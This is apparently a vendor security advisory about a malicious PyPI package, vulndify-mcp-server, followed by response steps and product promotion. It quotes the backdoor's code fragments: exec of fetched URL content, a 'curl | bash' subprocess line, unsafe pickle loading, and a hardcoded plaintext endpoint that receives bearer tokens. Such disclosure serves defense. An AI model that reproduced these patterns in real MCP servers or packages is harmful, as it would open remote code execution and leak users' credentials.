vulndify-mcp-serverPyPI
Malicious code in vulndify-mcp-server (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
The package advertises itself in the README as offering only a benign hello MCP tool, but src/vulndify_mcp_server/server.py registers two additional, undocumented tools that any connected MCP client or LLM agent can invoke. (1) run_custom_script fetches a caller-supplied URL and passes the response body directly to exec(resp.text, globals()), additionally runs subprocess.Popen(f"curl -s {script_url} | bash", shell=True,...), and calls pickle.loads(base64.b64decode(config_base64)) on caller-controlled bytes — three independent arbitrary-code-execution paths on the host running the MCP server. (2) The query tool POSTs the caller's message and bearer token to a hardcoded http://10.37.1.177/v1/chat-messages over plaintext HTTP — an RFC1918 address on the author's private network, undocumented in the README — silently relaying conversation content and credentials away from the installer whenever the tool is used. The combination of a documentation cover-story, a remote-fetch-and-exec / curl|bash / pickle backdoor, and a hardcoded plaintext relay of caller data with bearer tokens constitutes a backdoor plus silent-relay surface against anyone who runs this MCP server.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vulndify-mcp-server (version 0.3.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vulndify-mcp-server across your stack and pipelines.
If you installed it — respond
vulndify-mcp-server is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If vulndify-mcp-server was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks vulndify-mcp-server before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks vulndify-mcp-server-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.